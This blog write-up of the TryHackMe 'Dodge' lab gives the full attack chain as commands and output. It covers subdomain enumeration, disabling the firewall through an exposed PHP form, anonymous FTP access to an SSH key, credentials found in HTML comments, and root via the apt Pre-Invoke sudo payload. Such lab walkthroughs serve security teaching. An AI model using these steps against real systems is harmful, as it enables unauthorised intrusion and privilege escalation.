Post

TryHackMe: Dodge

Dodge started by inspecting the certificate of a https webserver to get a list of subdomains and enumerating these subdomains to find a PHP endpoint that allowed disabling the UFW firewall. After disabling the firewall, it was possible to access a FTP server and get a SSH key for a user, which allowed us to get a shell on the machine. After this, using port forwarding to access an internal website and logging in with the credentials found in the comments of the same website gave us credentials for another user. With this new user, we were able to abuse sudo privileges and get a shell as root.

Tryhackme Room Link https://tryhackme.com/room/dodge

Initial enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.64.72
Nmap scan report for 10.10.64.72
Host is up (0.085s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 12:22:46:5a:8c:3a:53:16:60:78:3e:79:e1:66:ba:7d (RSA)
|   256 af:3a:3b:76:01:69:67:42:4a:53:ee:48:60:7c:6e:15 (ECDSA)
|_  256 36:87:fb:1f:3f:3c:30:cc:b5:61:23:9d:db:01:13:d9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/http Apache httpd 2.4.41
|_http-title: 403 Forbidden
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dodge.thm/organizationName=Dodge Company, Inc./stateOrProvinceName=Tokyo/countryName=JP
| Subject Alternative Name: DNS:dodge.thm, DNS:www.dodge.thm, DNS:blog.dodge.thm, DNS:dev.dodge.thm, DNS:touch-me-not.dodge.thm, DNS:netops-dev.dodge.thm, DNS:ball.dodge.thm
| Not valid before: 2023-06-29T11:46:51
|_Not valid after:  2123-06-05T11:46:51
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Hosts: default, ip-10-10-64-72.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

With a nmap scan, there are three ports open:

  • 22/SSH
  • 80/HTTP
  • 443/HTTPS

Getting a List of Subdomains

Nmap already gave a list of subdomains, but it is also possible to get them manually by visiting the https server with Firefox and viewing the certificate.

Subdomains

Adding them to /etc/hosts

1
10.10.64.72 dodge.thm www.dodge.thm blog.dodge.thm dev.dodge.thm touch-me-not.dodge.thm netops-dev.dodge.thm ball.dodge.thm

Enumerating the Subdomains

Since most subdomains seem to return 403 Forbidden, we can use ffuf to quickly filter out those.

Creating a wordlist with all subdomains.

1
2
3
4
5
6
7
8
10.10.64.72
dodge.thm
www.dodge.thm
blog.dodge.thm
dev.dodge.thm
touch-me-not.dodge.thm
netops-dev.dodge.thm
ball.dodge.thm

Running ffuf with the created wordlist and filtering out responses with 403 status code.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ffuf -u 'PROTO://10.10.64.72/' -H "Host: HOST" -w <(echo -e "http\nhttps"):PROTO -w subdomains.txt:HOST -fc 403
...
[Status: 200, Size: 7111, Words: 2327, Lines: 251, Duration: 88ms]
    * HOST: www.dodge.thm
    * PROTO: https

[Status: 200, Size: 743, Words: 68, Lines: 37, Duration: 102ms]
    * PROTO: https
    * HOST: netops-dev.dodge.thm

[Status: 200, Size: 82202, Words: 3981, Lines: 977, Duration: 95ms]
    * PROTO: https
    * HOST: dev.dodge.thm
  • https://www.dodge.thm/ looks like a static bootstrap site.

  • https://dev.dodge.thm/ gives the output of phpinfo.

  • https://netops-dev.dodge.thm/ looks empty, but checking the source code, it includes two javascript files.

1
2
<script src='cf.js'></script>
<script  src="firewall.js"></script>

Checking /firewall.js, it makes a request to /firewall10110.php.

1
2
3
4
5
6
fetch('firewall10110.php', {
  method: 'GET',
  headers: {
    'Content-Type': 'application/json'
  }
})

Visiting https://netops-dev.dodge.thm/firewall10110.php returns what looks like the output of ufw status verbose.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), deny (routed)
New profiles: skip

To                         Action      From
--                         ------      ----
80                         ALLOW IN    Anywhere                  
443                        ALLOW IN    Anywhere                  
22                         ALLOW IN    Anywhere                  
21                         DENY IN     Anywhere                  
21/tcp                     DENY IN     Anywhere                  
80 (v6)                    ALLOW IN    Anywhere (v6)             
443 (v6)                   ALLOW IN    Anywhere (v6)             
22 (v6)                    ALLOW IN    Anywhere (v6)             
21 (v6)                    DENY IN     Anywhere (v6)             
21/tcp (v6)                DENY IN     Anywhere (v6)             

While allowing incoming connections to ports 22, 80, and 443, it denies any incoming connections to port 21.

Foothold

Disabling UFW

https://netops-dev.dodge.thm/firewall10110.php also has a form for submitting UFW commands.

After trying some command injection payloads and getting Invalid command for all, I decided to run normal UFW commands with the format specified in the placeholder: sudo command parameter

Upon sending sudo ufw disable, the server returns: Firewall stopped and disabled on system startup

Disabling UFW

Refresing the page, it now displays: Status: inactive

Disabled UFW

Accessing FTP

Before, the firewall was denying incoming connections to port 21, but that should not be a problem now.

Checking port 21, it is not only open but also allows anonymous logins.

1
2
3
4
5
6
7
8
9
10
$ ftp dodge.thm 
Connected to dodge.thm.
220 Welcome to Dodge FTP service
Name (dodge.thm:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Looking at the files, it seems to be a home directory for a user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> dir -a
229 Entering Extended Passive Mode (|||22979|)
150 Here comes the directory listing.
drwxr-xr-x    5 1003     1003         4096 Jun 29  2023 .
drwxr-xr-x    5 1003     1003         4096 Jun 29  2023 ..
-rwxr-xr-x    1 1003     1003           87 Jun 29  2023 .bash_history
-rwxr-xr-x    1 1003     1003          220 Feb 25  2020 .bash_logout
-rwxr-xr-x    1 1003     1003         3771 Feb 25  2020 .bashrc
drwxr-xr-x    2 1003     1003         4096 Jun 19  2023 .cache
drwxr-xr-x    3 1003     1003         4096 Jun 19  2023 .local
-rwxr-xr-x    1 1003     1003          807 Feb 25  2020 .profile
drwxr-xr-x    2 1003     1003         4096 Jun 22  2023 .ssh
-r--------    1 1003     1003           38 Jun 19  2023 user.txt
226 Directory send OK.

Checking the .ssh directory.

1
2
3
4
5
6
7
8
9
ftp> cd .ssh
250 Directory successfully changed.
ftp> dir 
229 Entering Extended Passive Mode (|||62353|)
150 Here comes the directory listing.
-rwxr-xr-x    1 1003     1003          573 Jun 22  2023 authorized_keys
-r--------    1 1003     1003         2610 Jun 22  2023 id_rsa
-rwxr-xr-x    1 1003     1003         2610 Jun 22  2023 id_rsa_backup
226 Directory send OK.

Downloading id_rsa_backup and authorized_keys.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ftp> get id_rsa_backup
local: id_rsa_backup remote: id_rsa_backup
229 Entering Extended Passive Mode (|||9047|)
150 Opening BINARY mode data connection for id_rsa_backup (2610 bytes).
100% |**********************************************************************************|  2610        9.46 MiB/s    00:00 ETA
226 Transfer complete.
2610 bytes received in 00:00 (28.29 KiB/s)
ftp> get authorized_keys
local: authorized_keys remote: authorized_keys
229 Entering Extended Passive Mode (|||54555|)
150 Opening BINARY mode data connection for authorized_keys (573 bytes).
100% |**********************************************************************************|   573      778.26 KiB/s    00:00 ETA
226 Transfer complete.
573 bytes received in 00:00 (6.09 KiB/s)
  • id_rsa_backup looks like a ssh key.
  • authorized_keys includes a username: challenger

Shell as challenger

After setting the correct permissions for id_rsa_backup, it works for getting a shell as challenger using ssh.

1
2
chmod 600 id_rsa_backup
ssh -i id_rsa_backup challenger@dodge.thm
1
2
challenger@thm-lamp:~$ id
uid=1003(challenger) gid=1003(challenger) groups=1003(challenger)

With this, we can read the user flag.

1
2
challenger@thm-lamp:~$ wc -c user.txt 
38 user.txt

Shell as cobra

Finding credentials for cobra

Looking for the source code of the websites present, there is one website called notes, that we have not encountered before.

1
2
challenger@thm-lamp:/var/www$ ls
default_html  html  html_www  notes  www

It seems to be running on 127.0.0.1:10000.

1
2
3
4
5
challenger@thm-lamp:/var/www$ cat /etc/apache2/sites-enabled/notes.conf
<VirtualHost 127.0.0.1:10000>
...
DocumentRoot /var/www/notes
...
1
2
3
challenger@thm-lamp:/var/www$ ss -tln
State         Recv-Q        Send-Q                 Local Address:Port                  Peer Address:Port        Process        
LISTEN        0             511                        127.0.0.1:10000                      0.0.0.0:*                    

Forwarding the port using ssh.

1
2
3
challenger@thm-lamp:/var/www$ ~C
ssh> -L 10000:127.0.0.1:10000
Forwarding port.

Viewing the source code of the http://127.0.0.1:10000/public/html/login.php page, it includes commented-out credentials that work for logging in.

1
2
<!-- <input type="text" id="username" name="username" class="form-control" value="gabriela"> -->
<!-- <input type="password" id="password" name="password" class="form-control" value="^5hf5w&CAt9sPr@"> -->

After logging in, there are credentials for user cobra at http://127.0.0.1:10000/public/html/dashboard.php.

Cobra credentials

Using these credentials, we are not able to login as cobra using ssh, but we can switch to the user using su command from the ssh session we have as challenger.

1
2
3
4
challenger@thm-lamp:~$ su cobra -
Password: 
cobra@thm-lamp:/home/challenger$ id
uid=1002(cobra) gid=1002(cobra) groups=1002(cobra)

Alternative way to get credentials for cobra

Since user challenger is able to read files in /var/www/notes, instead of forwarding the port and accessing the website, it is possible to just read the /var/www/notes/api/posts.php and get the credentials by decoding the base64 blob inside.

1
2
3
4
5
6
7
8
9
10
11
$ echo 'W3si...1In1d' | base64 -d | jq   
[
  {
    "title": "To-do list",
    "content": "Define app requirements:<br> 1. Design user interface. <br> 2. Set up development environment. <br> 3. Implement basic functionality."
  },
  {
    "title": "My SSH login",
    "content": "cobra / [REDACTED]"
  }
]

Shell as root

Sudo privilege

Checking the sudo privileges, user cobra is allowed to run apt as root.

1
2
3
4
5
6
cobra@thm-lamp:~$ sudo -l
Matching Defaults entries for cobra on thm-lamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User cobra may run the following commands on thm-lamp:
    (ALL) NOPASSWD: /usr/bin/apt

We can use the payload from GTFOBins to get a shell as root.

1
2
3
cobra@thm-lamp:~$ sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)

And read the root flag.

1
2
# wc -c root.txt
38 root.txt
This post is licensed under CC BY 4.0 by the author.